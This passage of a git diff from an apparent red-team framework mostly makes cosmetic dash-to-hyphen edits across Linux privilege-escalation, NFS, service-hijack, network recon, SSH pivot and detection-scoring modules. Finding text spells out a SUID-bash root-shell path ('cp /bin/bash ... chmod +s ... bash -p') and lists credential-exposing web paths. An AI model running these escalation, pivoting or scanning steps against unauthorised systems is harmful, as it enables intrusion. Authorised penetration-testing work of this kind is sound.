LDPreloadModule(BaseModule[LDPreloadParams, ModuleResult]):import asyncssh # type: ignore[import]except ImportError:from ares.core.errors import ModuleError- raise ModuleError("asyncssh not installed — pip install asyncssh",+ raise ModuleError("asyncssh not installed - pip install asyncssh",module_id=self.MODULE_ID)kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}diff --git a/ares/modules/linux/nfs_escape.py b/ares/modules/linux/nfs_escape.pyindex f3217ac..dec3c03 100644--- a/ares/modules/linux/nfs_escape.py+++ b/ares/modules/linux/nfs_escape.py@@ -1,22 +1,22 @@"""-Linux NFS Misconfiguration — no_root_squash Detection+Linux NFS Misconfiguration - no_root_squash DetectionMITRE: T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid)Checks NFS exports on the target for the no_root_squash option.When no_root_squash is set, a remote root user mounting that export-retains root privileges on the NFS share — allowing SUID binary+retains root privileges on the NFS share - allowing SUID binarycreation or direct overwrite of sensitive files like /etc/passwd.Two execution paths:- Remote (SSH) — connects via asyncssh, reads /etc/exports and+ Remote (SSH) - connects via asyncssh, reads /etc/exports andmounted NFS shares from /proc/mounts- Local — reads directly from /etc/exports and /proc/mounts+ Local - reads directly from /etc/exports and /proc/mountsThis module is DETECTION ONLY.It reports misconfigured exports and the exploitation path.It does NOT mount anything or create any files on the target.-OPSEC: LOW — reads config files via SSH, no network scanning.+OPSEC: LOW - reads config files via SSH, no network scanning."""from __future__ import annotations@@ -54,17 +54,17 @@ _DANGEROUS_OPTIONS: list[tuple[str, str, str]] = [),("no_all_squash",- "All UIDs/GIDs are preserved — non-root users may also gain elevated access",+ "All UIDs/GIDs are preserved - non-root users may also gain elevated access","HIGH",),("insecure",- "Allows connections from unprivileged ports (>1024) — easier to connect",+ "Allows connections from unprivileged ports (>1024) - easier to connect","MEDIUM",),("rw",- "Export is writable — required for file placement attacks",+ "Export is writable - required for file placement attacks","INFO",),]@@ -125,7 +125,7 @@ def _parse_exports(exports_content: str) -> list[dict[str, Any]]:)class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):"""- linux.nfs_escape — Detect NFS exports with no_root_squash — allows root on attacker machine to write SUID binaries+ linux.nfs_escape - Detect NFS exports with no_root_squash - allows root on attacker machine to write SUID binariesOPSEC: LOWMITRE: "T1548.001", "T1082"@@ -135,7 +135,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):MODULE_NAME = "NFS no_root_squash Detection"MODULE_CATEGORY = "linux"MODULE_DESCRIPTION = (- "Detect NFS exports with no_root_squash — allows root on attacker "+ "Detect NFS exports with no_root_squash - allows root on attacker ""machine to write SUID binaries to the share for privilege escalation")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -154,7 +154,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):target = ctx.params.get("target") or ctx.params.get("host", "")if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)ssh_user = None@@ -365,7 +365,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):"execute it from a low-priv shell on the NFS server ""to escalate to root."if is_writable else- "The export is read-only — no_root_squash is less "+ "The export is read-only - no_root_squash is less ""immediately exploitable but still a misconfiguration.")),@@ -384,7 +384,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):"cp /bin/bash /mnt/share/ && chmod +s /mnt/share/bash. ""3. On the NFS server (as low-priv user): "f"/mnt_nfs{path}/bash -p (opens root shell)."- ) if is_writable else "read-only export — limited impact",+ ) if is_writable else "read-only export - limited impact",},remediation=(f"Remove no_root_squash from {path} export in /etc/exports. "@@ -401,7 +401,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):description=(f"NFS export {path!r} on {host} has no_all_squash for "f"client {client_host!r}. "- "UIDs from the client are passed through to the server — "+ "UIDs from the client are passed through to the server - ""if the client has a UID matching a privileged user on ""the server, it gains their access."),@@ -440,7 +440,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):raw["privesc_vectors"] = self._findings # OUTPUTS keyreturn self._findings[:], raw- # ── SSH / local runner helpers — identical pattern to linux.privesc ────+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────async def _make_ssh_runner(self,@@ -454,7 +454,7 @@ class NFSEscapeModule(BaseModule[NFSEscapeParams, ModuleResult]):import asyncssh # type: ignore[import]except ImportError:from ares.core.errors import ModuleError- raise ModuleError("asyncssh not installed — pip install asyncssh",+ raise ModuleError("asyncssh not installed - pip install asyncssh",module_id=self.MODULE_ID)kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}diff --git a/ares/modules/linux/privesc.py b/ares/modules/linux/privesc.pyindex 2582ee7..117ca69 100644--- a/ares/modules/linux/privesc.py+++ b/ares/modules/linux/privesc.py@@ -1,5 +1,5 @@"""-Linux Privilege Escalation — Next-Gen Sovereign SDK v2 Implementation+Linux Privilege Escalation - Next-Gen Sovereign SDK v2 ImplementationLocal & Remote SSH with Capability-Based Sandboxing & Merkle Audit Trails.MITRE: T1548.001, T1053.003, T1574.006"""@@ -48,7 +48,7 @@ GTFOBINS_SUID = {)class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):"""- linux.privesc — SUID, sudo, cron, capabilities, writable PATH — local or remote SSH+ linux.privesc - SUID, sudo, cron, capabilities, writable PATH - local or remote SSHOPSEC: MEDIUMMITRE: "T1548.001", "T1053.003", "T1574.006"@@ -58,7 +58,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):MODULE_ID = "linux.privesc"MODULE_NAME = "Linux Privilege Escalation"MODULE_CATEGORY = "linux"- MODULE_DESCRIPTION = "SUID, sudo, cron, capabilities, writable PATH — local or remote SSH"+ MODULE_DESCRIPTION = "SUID, sudo, cron, capabilities, writable PATH - local or remote SSH"MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.MEDIUMREQUIRES = []@@ -83,7 +83,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):if not target:raise ModuleValidationError(- "linux.privesc requires 'target' — IP or hostname of Linux host.",+ "linux.privesc requires 'target' - IP or hostname of Linux host.",module_id=self.MODULE_ID,field="target",)@@ -399,7 +399,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):sudo_rules = raw.get("sudo", [])if any("ALL" in line and "NOPASSWD" in line for line in sudo_rules):self.finding(- title="NOPASSWD Sudo — Immediate Root",+ title="NOPASSWD Sudo - Immediate Root",description="Can run commands as root without password.",severity=Severity.CRITICAL,mitre_technique="T1548.003",@@ -431,7 +431,7 @@ class LinuxPrivescModule(BaseModule[LinuxPrivescParams, ModuleResult]):if writable:self.finding(title=f"Writable PATH Dirs ({len(writable)})",- description="Current user can write to $PATH dirs — PATH hijacking possible.",+ description="Current user can write to $PATH dirs - PATH hijacking possible.",severity=Severity.HIGH,mitre_technique="T1574.006",mitre_tactic="Privilege Escalation",diff --git a/ares/modules/linux/service_hijack.py b/ares/modules/linux/service_hijack.pyindex 90ddfa0..7357bc6 100644--- a/ares/modules/linux/service_hijack.py+++ b/ares/modules/linux/service_hijack.py@@ -3,7 +3,7 @@ Linux Service Binary Hijack DetectionMITRE: T1574.010 (Services File Permissions Weakness)Detects system services where the binary (ExecStart) is writable-by the current user — replacing it executes arbitrary code the+by the current user - replacing it executes arbitrary code thenext time the service restarts or the system reboots.Checks:@@ -17,10 +17,10 @@ Also checks:(modifying the unit file is equivalent to modifying the binary)5. Services running as root with binaries in user-writable locations-Detection only — no service files or binaries are modified.+Detection only - no service files or binaries are modified.All checks are read-only (stat, test -w).-OPSEC: LOW — reads unit files, no process execution or service interaction.+OPSEC: LOW - reads unit files, no process execution or service interaction."""from __future__ import annotations@@ -62,7 +62,7 @@ _SYSTEMD_DIRS: list[str] = [# Max services to check (avoid very long scans)_MAX_SERVICES = 60-# User-controlled path indicators — binaries here are suspicious+# User-controlled path indicators - binaries here are suspicious_USER_WRITABLE_PATHS: list[str] = ["/tmp/","/var/tmp/",@@ -109,7 +109,7 @@ def _parse_exec_start(unit_content: str) -> list[str]:)class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):"""- linux.service_hijack — Detect systemd/init services with writable binaries or unit files —+ linux.service_hijack - Detect systemd/init services with writable binaries or unit files -replacing the binary escalates privileges at next service restartOPSEC: LOW@@ -120,7 +120,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):MODULE_NAME = "Service Binary Hijack Detection"MODULE_CATEGORY = "linux"MODULE_DESCRIPTION = (- "Detect systemd/init services with writable binaries or unit files — "+ "Detect systemd/init services with writable binaries or unit files - ""replacing the binary escalates privileges at next service restart")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -139,7 +139,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):target = ctx.params.get("target") or ctx.params.get("host", "")if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)ssh_user = None@@ -347,7 +347,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):if "writable" in unit_writable:writable_unit_files.append({"unit": unit_path,- "reason": "Unit file writable — modify ExecStart to run arbitrary command",+ "reason": "Unit file writable - modify ExecStart to run arbitrary command",})# Extract ExecStart paths and check writability@@ -470,7 +470,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):description=(f"{len(suspicious_paths)} service(s) on {host} execute binaries ""from user-writable directories (/tmp, /home, /var/tmp, /dev/shm). "- "These paths are trivially writable by unprivileged users — "+ "These paths are trivially writable by unprivileged users - ""placing a file with the expected name in these directories ""causes the service to execute it."),@@ -526,7 +526,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):raw["privesc_vectors"] = self._findings # OUTPUTS keyreturn self._findings[:], raw- # ── SSH / local runner helpers — identical pattern to linux.privesc ────+ # ── SSH / local runner helpers - identical pattern to linux.privesc ────async def _make_ssh_runner(self,@@ -540,7 +540,7 @@ class ServiceHijackModule(BaseModule[ServiceHijackParams, ModuleResult]):import asyncssh # type: ignore[import]except ImportError:from ares.core.errors import ModuleError- raise ModuleError("asyncssh not installed — pip install asyncssh",+ raise ModuleError("asyncssh not installed - pip install asyncssh",module_id=self.MODULE_ID)kw: dict = {"host": host, "port": port, "username": user, "known_hosts": None}diff --git a/ares/modules/network/__init__.py b/ares/modules/network/__init__.pyindex 9d915a0..f6b10a5 100644--- a/ares/modules/network/__init__.py+++ b/ares/modules/network/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.network+ARES - modules.networkNetwork reconnaissance and pivot modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/network/dns_enum.py b/ares/modules/network/dns_enum.pyindex 306cb9d..0e6e050 100644--- a/ares/modules/network/dns_enum.py+++ b/ares/modules/network/dns_enum.py@@ -1,5 +1,5 @@"""-DNS Enumeration — Zone Transfer, Subdomain Brute, Record Enum+DNS Enumeration - Zone Transfer, Subdomain Brute, Record EnumMITRE: T1590.002Attempts:@@ -63,7 +63,7 @@ _RECORD_TYPES: list[str] = ["A", "AAAA", "MX", "NS", "TXT", "SOA", "CNAME", "PTR)class DnsEnumModule(BaseModule):"""- network.dns_enum — DNS zone transfer attempt, subdomain brute force, and record enumeration — maps DNS infrastructure and finds internal hostnames+ network.dns_enum - DNS zone transfer attempt, subdomain brute force, and record enumeration - maps DNS infrastructure and finds internal hostnamesOPSEC: LOWMITRE: "T1590.002"@@ -73,7 +73,7 @@ class DnsEnumModule(BaseModule):MODULE_NAME = "DNS Enumeration"MODULE_CATEGORY = "network"MODULE_DESCRIPTION = (- "DNS zone transfer attempt, subdomain brute force, and record enumeration — "+ "DNS zone transfer attempt, subdomain brute force, and record enumeration - ""maps DNS infrastructure and finds internal hostnames")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -97,7 +97,7 @@ class DnsEnumModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -226,7 +226,7 @@ class DnsEnumModule(BaseModule):import dns.query # type: ignore[import]import dns.exception # type: ignore[import]except ImportError:- return [], {"error": "dnspython not installed — run: pip install dnspython"}+ return [], {"error": "dnspython not installed - run: pip install dnspython"}logger.info("dns_enum_start", domain=domain)await self.noise.rate_limiter.acquire("network_scan")@@ -243,7 +243,7 @@ class DnsEnumModule(BaseModule):resolver.timeout = 3resolver.lifetime = 5- # ── 1. Standard record enumeration — blocking, wrapped in executor ──────+ # ── 1. Standard record enumeration - blocking, wrapped in executor ──────def _resolve_records() -> dict[str, list[str]]:results: dict[str, list[str]] = {}for rtype in _RECORD_TYPES:@@ -256,7 +256,7 @@ class DnsEnumModule(BaseModule):dns_records = await loop.run_in_executor(None, _resolve_records)- # ── 2. Zone transfer attempt — blocking, wrapped in executor ─────────────+ # ── 2. Zone transfer attempt - blocking, wrapped in executor ─────────────ns_servers: list[str] = dns_records.get("NS", [])def _try_axfr(ns_host: str) -> list[str]:@@ -276,7 +276,7 @@ class DnsEnumModule(BaseModule):description=(f"The nameserver {ns_clean} allowed a full zone transfer (AXFR) "f"for {domain}. This exposes the complete DNS zone with "- f"{len(zone_transfer_data)} records — all internal hostnames and IPs."+ f"{len(zone_transfer_data)} records - all internal hostnames and IPs."),severity=Severity.CRITICAL,mitre_technique="T1590.002",@@ -340,7 +340,7 @@ class DnsEnumModule(BaseModule):import reif re.search(r"v=spf1|DKIM|DMARC|google-site-verification|"r"atlassian-domain|MS=ms|docusign", txt, re.IGNORECASE):- pass # Normal SPF/DMARC records — not findings+ pass # Normal SPF/DMARC records - not findingselif re.search(r"password|secret|token|key|credential", txt, re.IGNORECASE):self.finding(title=f"Sensitive Data in DNS TXT Record for {domain}",diff --git a/ares/modules/network/http_fingerprint.py b/ares/modules/network/http_fingerprint.pyindex 304786e..32f95e3 100644--- a/ares/modules/network/http_fingerprint.py+++ b/ares/modules/network/http_fingerprint.py@@ -1,5 +1,5 @@"""-HTTP Fingerprinting — Web Server, Framework, CMS Detection+HTTP Fingerprinting - Web Server, Framework, CMS DetectionMITRE: T1592.002, T1046Identifies: server software, web framework, CMS, admin interfaces,@@ -32,17 +32,17 @@ logger = get_logger("ares.modules.network.http_fingerprint")_SENSITIVE_PATHS: list[tuple[str, str]] = [("/admin", "Admin interface"),("/admin/login", "Admin login"),- ("/.env", "Environment file — may expose secrets"),+ ("/.env", "Environment file - may expose secrets"),("/.git/HEAD", "Git repository exposed"),("/wp-admin/", "WordPress admin panel"),("/wp-login.php", "WordPress login"),("/phpmyadmin/", "phpMyAdmin database manager"),("/manager/html", "Tomcat Manager"),("/api/v1/", "API endpoint"),- ("/api/swagger.json", "Swagger/OpenAPI spec — enumerate endpoints"),+ ("/api/swagger.json", "Swagger/OpenAPI spec - enumerate endpoints"),("/swagger-ui.html", "Swagger UI"),- ("/actuator", "Spring Boot Actuator — may expose internals"),- ("/actuator/env", "Spring Boot env — may expose credentials"),+ ("/actuator", "Spring Boot Actuator - may expose internals"),+ ("/actuator/env", "Spring Boot env - may expose credentials"),("/console", "Admin console"),("/jenkins", "Jenkins CI"),("/solr/", "Apache Solr admin"),@@ -50,8 +50,8 @@ _SENSITIVE_PATHS: list[tuple[str, str]] = [("/grafana", "Grafana dashboard"),("/.htpasswd", "Apache password file"),("/server-status", "Apache server status"),- ("/elmah.axd", "ELMAH error log — .NET"),- ("/trace.axd", "ASP.NET trace — may expose internals"),+ ("/elmah.axd", "ELMAH error log - .NET"),+ ("/trace.axd", "ASP.NET trace - may expose internals"),]# Server/framework fingerprints in response headers@@ -80,7 +80,7 @@ _HEADER_FINGERPRINTS: list[tuple[str, str, str]] = [)class HttpFingerprintModule(BaseModule):"""- network.http_fingerprint — Fingerprint web servers and applications — detect server software, frameworks, CMS, admin interfaces, and exposed sensitive paths+ network.http_fingerprint - Fingerprint web servers and applications - detect server software, frameworks, CMS, admin interfaces, and exposed sensitive pathsOPSEC: LOWMITRE: "T1592.002", T1046 := "T1046"@@ -90,7 +90,7 @@ class HttpFingerprintModule(BaseModule):MODULE_NAME = "HTTP Fingerprinting"MODULE_CATEGORY = "network"MODULE_DESCRIPTION = (- "Fingerprint web servers and applications — detect server software, "+ "Fingerprint web servers and applications - detect server software, ""frameworks, CMS, admin interfaces, and exposed sensitive paths")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -112,7 +112,7 @@ class HttpFingerprintModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -235,7 +235,7 @@ class HttpFingerprintModule(BaseModule):try:import httpxexcept ImportError:- return [], {"error": "httpx not installed — run: pip install httpx"}+ return [], {"error": "httpx not installed - run: pip install httpx"}logger.info("http_fingerprint_start", target=target, ports=ports)await self.noise.rate_limiter.acquire("network_scan")diff --git a/ares/modules/network/pivot.py b/ares/modules/network/pivot.pyindex 0b7aa7b..48b5c0d 100644--- a/ares/modules/network/pivot.py+++ b/ares/modules/network/pivot.py@@ -1,23 +1,23 @@"""-SOCKS5 / SSH Tunnel Management — network.pivot-MITRE: T1090.001 — Proxy: Internal Proxy- T1021.004 — Remote Services: SSH+SOCKS5 / SSH Tunnel Management - network.pivot+MITRE: T1090.001 - Proxy: Internal Proxy+ T1021.004 - Remote Services: SSHThin wrapper around ares/pivot/infrastructure.py (580 lines, fully implemented).Creates and manages SSH SOCKS5 tunnels through compromised pivot hosts.Once established, ALL subsequent ARES modules can reach internal network-segments through the tunnel — transparent to the module.+segments through the tunnel - transparent to the module.PivotManager auto-routes: request to 10.0.0.x → tunnel with matching subnet.Generates proxychains.conf automatically.Tunnel types supported:- SOCKS5 / SSH_DYNAMIC — SSH -D (most common)- SSH_LOCAL_FWD — SSH -L for specific port forwards- REVERSE_TCP — for outbound-only pivot hosts+ SOCKS5 / SSH_DYNAMIC - SSH -D (most common)+ SSH_LOCAL_FWD - SSH -L for specific port forwards+ REVERSE_TCP - for outbound-only pivot hosts-OPSEC: LOW — SSH dynamic port forward uses encrypted SSH protocol.+OPSEC: LOW - SSH dynamic port forward uses encrypted SSH protocol.Appears as normal SSH connection. No new tools on target."""from __future__ import annotations@@ -56,7 +56,7 @@ _PIVOT_MANAGERS: dict[str, "Any"] = {} # campaign_id → PivotManager)class PivotModule(BaseModule):"""- network.pivot — Create SOCKS5/SSH tunnels through compromised hosts. All subsequent modules route through tunnel automatically. Generates proxychains.conf. Supports chained pivots.+ network.pivot - Create SOCKS5/SSH tunnels through compromised hosts. All subsequent modules route through tunnel automatically. Generates proxychains.conf. Supports chained pivots.OPSEC: LOWMITRE: "T1090.001", "T1021.004"@@ -95,7 +95,7 @@ class PivotModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- "network.pivot requires 'target' — IP or hostname of the pivot host "+ "network.pivot requires 'target' - IP or hostname of the pivot host ""(a host where you have SSH access).",module_id=self.MODULE_ID, field="target",)@@ -117,7 +117,7 @@ class PivotModule(BaseModule):getattr(getattr(ctx, "vault", None), "_store", None)))if not has_secret:raise ModuleValidationError(- "network.pivot requires SSH credentials — "+ "network.pivot requires SSH credentials - ""pass 'password', 'key_path', or provide a vault credential.",module_id=self.MODULE_ID, field="password",)diff --git a/ares/modules/network/port_scan.py b/ares/modules/network/port_scan.pyindex b4c9a46..b8874a6 100644--- a/ares/modules/network/port_scan.py+++ b/ares/modules/network/port_scan.py@@ -1,8 +1,8 @@"""-Network Port Scanner — Production Implementation+Network Port Scanner - Production ImplementationMITRE: T1046 (Network Service Discovery)-TCP connect scan with asyncio — no raw sockets, no root required.+TCP connect scan with asyncio - no raw sockets, no root required.Respects NoiseController rate limits and opsec profile.Results feed ServiceIntelEngine for automatic module recommendation.@@ -274,7 +274,7 @@ async def _tcp_connect(host: str, port: int, timeout: float = 2.0) -> bool:)class PortScanModule(BaseModule):"""- network.port_scan — Async TCP connect scan — identifies open ports and maps them to services and recommended attack paths+ network.port_scan - Async TCP connect scan - identifies open ports and maps them to services and recommended attack pathsOPSEC: MEDIUMMITRE: "T1046"@@ -284,7 +284,7 @@ class PortScanModule(BaseModule):MODULE_NAME = "TCP Port Scanner"MODULE_CATEGORY = "network"MODULE_DESCRIPTION = (- "Async TCP connect scan — identifies open ports and maps them to "+ "Async TCP connect scan - identifies open ports and maps them to ""services and recommended attack modules")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -305,7 +305,7 @@ class PortScanModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- "network.port_scan requires 'target' — IP or CIDR to scan.",+ "network.port_scan requires 'target' - IP or CIDR to scan.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)diff --git a/ares/modules/network/service_detect.py b/ares/modules/network/service_detect.pyindex 749a051..8397221 100644--- a/ares/modules/network/service_detect.py+++ b/ares/modules/network/service_detect.py@@ -1,5 +1,5 @@"""-Network Service Detection — Banner Grabbing + Version Fingerprinting+Network Service Detection - Banner Grabbing + Version FingerprintingMITRE: T1046, T1590.004Connects to open ports, reads banner/response, identifies:@@ -45,7 +45,7 @@ _PROBES: dict[str, bytes] = {"generic": b"",}-# Version patterns — (service, pattern, severity, cve_hint)+# Version patterns - (service, pattern, severity, cve_hint)_VULN_PATTERNS: list[tuple[str, str, str, str]] = [("openssh", r"OpenSSH[_\s]([0-9]\.[0-9])", "INFO", ""),("vsftpd", r"vsftpd\s([0-9]\.[0-9]\.[0-9])", "MEDIUM", "CVE-2011-2523 if 2.3.4"),@@ -107,7 +107,7 @@ async def _grab_banner(host: str, port: int, timeout: float = 4.0,)class ServiceDetectModule(BaseModule):"""- network.service_detect — Banner grabbing and version fingerprinting on open ports — identifies service versions and flags potentially vulnerable services+ network.service_detect - Banner grabbing and version fingerprinting on open ports - identifies service versions and flags potentially vulnerable servicesOPSEC: LOWMITRE: "T1046", "T1590.004"@@ -117,7 +117,7 @@ class ServiceDetectModule(BaseModule):MODULE_NAME = "Service Detection"MODULE_CATEGORY = "network"MODULE_DESCRIPTION = (- "Banner grabbing and version fingerprinting on open ports — "+ "Banner grabbing and version fingerprinting on open ports - ""identifies service versions and flags potentially vulnerable services")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -139,7 +139,7 @@ class ServiceDetectModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)diff --git a/ares/modules/network/snmp_enum.py b/ares/modules/network/snmp_enum.pyindex 2493ac7..6637349 100644--- a/ares/modules/network/snmp_enum.py+++ b/ares/modules/network/snmp_enum.py@@ -1,5 +1,5 @@"""-SNMP Enumeration — Community String Testing + OID Walk+SNMP Enumeration - Community String Testing + OID WalkMITRE: T1046, T1590Tests common SNMP community strings (v1/v2c) and enumerates system information@@ -9,13 +9,13 @@ via SNMP GET/WALK on standard OIDs:hrStorageTable (disk info)Flags:- - Default community string "public" or "private" — HIGH severity- - System info disclosure — MEDIUM- - Network interface enumeration — INFO+ - Default community string "public" or "private" - HIGH severity+ - System info disclosure - MEDIUM+ - Network interface enumeration - INFORequires: pip install ares-redteam[network] (adds pysnmp)-OpSec: LOW — SNMP UDP is low-noise but creates log entries on managed devices.+OpSec: LOW - SNMP UDP is low-noise but creates log entries on managed devices."""from __future__ import annotations@@ -78,7 +78,7 @@ def _snmp_get_sync(host: str, community: str, port: int,ContextData, ObjectType, ObjectIdentity,)except ImportError:- return {"_error": "pysnmp not installed — run: pip install pysnmp"}+ return {"_error": "pysnmp not installed - run: pip install pysnmp"}results: dict[str, str] = {}engine = SnmpEngine()@@ -146,7 +146,7 @@ def _snmp_walk_sync(host: str, community: str, port: int,)class SnmpEnumModule(BaseModule):"""- network.snmp_enum — Test common SNMP community strings and enumerate system info via OID walk — identifies default credentials, system details, interfaces, and running processes+ network.snmp_enum - Test common SNMP community strings and enumerate system info via OID walk - identifies default credentials, system details, interfaces, and running processesOPSEC: LOWMITRE: "T1046", "T1590"@@ -156,7 +156,7 @@ class SnmpEnumModule(BaseModule):MODULE_NAME = "SNMP Enumeration"MODULE_CATEGORY = "network"MODULE_DESCRIPTION = (- "Test common SNMP community strings and enumerate system info via OID walk — "+ "Test common SNMP community strings and enumerate system info via OID walk - ""identifies default credentials, system details, interfaces, and running processes")MODULE_AUTHOR = "ARES Team <[email protected]>"@@ -178,7 +178,7 @@ class SnmpEnumModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -315,7 +315,7 @@ class SnmpEnumModule(BaseModule):)if result.get("_error"):- # pysnmp not installed — stop here+ # pysnmp not installed - stop herereturn [], {"error": result["_error"]}if not result:@@ -353,7 +353,7 @@ class SnmpEnumModule(BaseModule):description=(f"SNMP community string '{community}' is accepted by {target}. "f"{'This is a DEFAULT community string.' if is_default else ''} "- f"System: {result.get('sysName', 'unknown')} — "+ f"System: {result.get('sysName', 'unknown')} - "f"{result.get('sysDescr', '')[:150]}"),severity=sev,@@ -378,7 +378,7 @@ class SnmpEnumModule(BaseModule):)# Don't spray all community strings if we found one- # (stay low-noise — operator can re-run with specific communities if needed)+ # (stay low-noise - operator can re-run with specific communities if needed)break# ── System info finding if sysLocation/sysContact found ───────────────diff --git a/ares/modules/opsec/__init__.py b/ares/modules/opsec/__init__.pyindex bda8def..e15a970 100644--- a/ares/modules/opsec/__init__.py+++ b/ares/modules/opsec/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.opsec+ARES - modules.opsecOPSEC and detection analysis modules.Note: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/opsec/coverage_predictor.py b/ares/modules/opsec/coverage_predictor.pyindex ff9fdf6..8cab31e 100644--- a/ares/modules/opsec/coverage_predictor.py+++ b/ares/modules/opsec/coverage_predictor.py@@ -1,5 +1,5 @@"""-opsec.coverage_predictor — Real-Time Detection Probability Scoring+opsec.coverage_predictor - Real-Time Detection Probability ScoringAnalyzes all actions performed in a campaign and predicts how likelythe engagement has been detected, based on:@@ -17,9 +17,9 @@ Output:- Stealth improvement recommendationsMITRE: T1592 (Gather Victim Host Information - defensive analysis)-OPSEC: LOCAL (no network calls — pure data analysis)+OPSEC: LOCAL (no network calls - pure data analysis)-Note: before_request() intentionally not called — this module performs+Note: before_request() intentionally not called - this module performsoffline analysis of campaign data only. No network calls."""from __future__ import annotations@@ -52,57 +52,57 @@ logger = get_logger("ares.modules.opsec.coverage_predictor")_TECHNIQUE_DETECTION_MAP: dict[str, list[tuple[str, str, float, str]]] = {# Active Directory- "T1558.003": [("Sysmon", "18", 0.75, "Kerberos TGS request — potential kerberoasting"),- ("Security", "4769", 0.80, "Kerberos Service Ticket Operation — RC4 encryption flag")],- "T1558.004": [("Security", "4768", 0.70, "Kerberos Auth Ticket request — potential ASREPRoasting")],- "T1003.006": [("Security", "4662", 0.95, "DCSync — DS-Replication-Get-Changes-All permission used"),+ "T1558.003": [("Sysmon", "18", 0.75, "Kerberos TGS request - potential kerberoasting"),+ ("Security", "4769", 0.80, "Kerberos Service Ticket Operation - RC4 encryption flag")],+ "T1558.004": [("Security", "4768", 0.70, "Kerberos Auth Ticket request - potential ASREPRoasting")],+ "T1003.006": [("Security", "4662", 0.95, "DCSync - DS-Replication-Get-Changes-All permission used"),("Security", "4929", 0.90, "AD replica source naming context removed")],- "T1649": [("Security", "4886", 0.60, "Certificate request — potential ADCS abuse"),- ("Security", "4887", 0.65, "Certificate issued — track enrollment patterns")],- "T1187": [("Security", "4624", 0.50, "Network logon — NTLM coercion incoming auth"),- ("Sysmon", "3", 0.40, "Network connection — SMB to attacker IP")],- "T1552.004": [("Security", "4661", 0.55, "SAM handle request — LAPS read attempt")],+ "T1649": [("Security", "4886", 0.60, "Certificate request - potential ADCS abuse"),+ ("Security", "4887", 0.65, "Certificate issued - track enrollment patterns")],+ "T1187": [("Security", "4624", 0.50, "Network logon - NTLM coercion incoming auth"),+ ("Sysmon", "3", 0.40, "Network connection - SMB to attacker IP")],+ "T1552.004": [("Security", "4661", 0.55, "SAM handle request - LAPS read attempt")],# Credential- "T1003.001": [("Sysmon", "10", 0.99, "LSASS process access — lsass_dump"),+ "T1003.001": [("Sysmon", "10", 0.99, "LSASS process access - lsass_dump"),("Security", "4656", 0.90, "LSASS handle request with PROCESS_VM_READ"),("Defender", "ASR", 0.95, "Attack Surface Reduction rule: Block 